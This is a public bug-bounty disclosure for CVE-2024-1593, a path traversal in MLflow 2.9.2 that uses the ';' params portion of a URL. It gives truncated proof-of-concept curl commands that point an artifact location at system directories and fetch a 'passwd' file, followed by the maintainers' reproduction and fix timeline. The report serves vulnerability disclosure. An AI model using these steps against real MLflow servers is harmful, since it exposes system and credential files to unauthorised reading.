

Path traversal by smuggling in path traversal sequences using ; in mlfow/mlflow

✓ Valid

Reported on Dec 18th 2023

Description

This report is similar to <https://huntr.com/bounties/52a3855d-93ff-4460-ac24-9c7e4334198d/> and <https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/>. But it offers another way to smuggle path traversal sequences into the URI.

When a ; is used in a urlparse, unlike other URL parsers, it stores whatever is behind the ; as part of the "params" portion of the URL, unlike other URL parsers.

The following illustrates the behaviour outlined

```
>>> urllib.parse.urlparse("https://example.com/;abc")
ParseResult(scheme='https', netloc='example.com', path='/', params='abc', query='', ...)
```

- <https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/> covers the query part of the URL which utilises ?
- <https://huntr.com/bounties/52a3855d-93ff-4460-ac24-9c7e4334198d/> covers the fragment part of the URL which utilises #
- This report covers the params part of the URL which utilises ;

As shown above we can smuggle arbitrary data into the params part of the URL. Therefore we can repeat the attack described in <https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/> report using the PoC below:

Proof of Concept

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "pocxd", "artifact_loc
```

```
curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "[EXP-ID]"}'
```

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "pocxd"}' 'http://127.0
```

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "pocxd", "run_id": "[REDACTED]"}
```

```
curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=pocxd&version=1.0.0'
```

Impact

Same as other reports

Occurrences

 handlers.py L593

Also validate "params" part of the URL.

 We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago



 haxatron modified the report 2 years ago



 haxatron modified the report 2 years ago

 We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



 haxatron submitted a patch 2 years ago



Dan McInerney commented 2 years ago

Admin

Unable to reproduce. Matched PoC exactly on version 2.9.2 but got:

```
{"error_code": "INVALID_PARAMETER_VALUE", "message": "Invalid model version source: '/private/etc"
```

```
1025 curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc1", "artifact_location":
1026 curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "807068060646111119
1027 curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc1"}' 'http://127.0.0.1:5
1028 curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc1", "run_id": "131141b9a
```



haxatron commented 2 years ago

Researcher

Hi for step 1, I had the same error while retesting and solved it by using more traversals

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc4", "artifact_location": "http:"
```



 **Dan McInerney** modified the Severity from Critical (9.3) to High (7.5) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



✓ **Dan McInerney** validated this vulnerability 2 years ago

Reproduced, thank you for update. Per NIST audits of our previous MLflow LFI's, setting the CVSS to NIST's preferred 7.5.

\$ **haxatron** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2024-1593 assigned to this report. 2 years ago



Daniel Lok commented 2 years ago

Maintainer

Thanks for the report, does <https://github.com/mlflow/mlflow/pull/11473> fix this?

flow



A **mlflow/mlflow** maintainer has acknowledged this report 2 years ago



haxatron commented 2 years ago

Researcher

yes it does.

 A huntr admin modified the scheduled publication date from Invalid date to 16th Apr 2024 2 years ago

⚠ We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



CVE-2024-1593 has now been published 2 years ago

✉ We have notified the **mlflow/mlflow** maintainers about this report in their weekly follow-up a year ago

CVE

CVE-2024-1593

Published

Vulnerability Type

CWE-22: Path Traversal

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

2.9.2

Visibility

Public

Status

Awaiting fix

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



haxatron

@haxatron

LIGHTWEIGHT



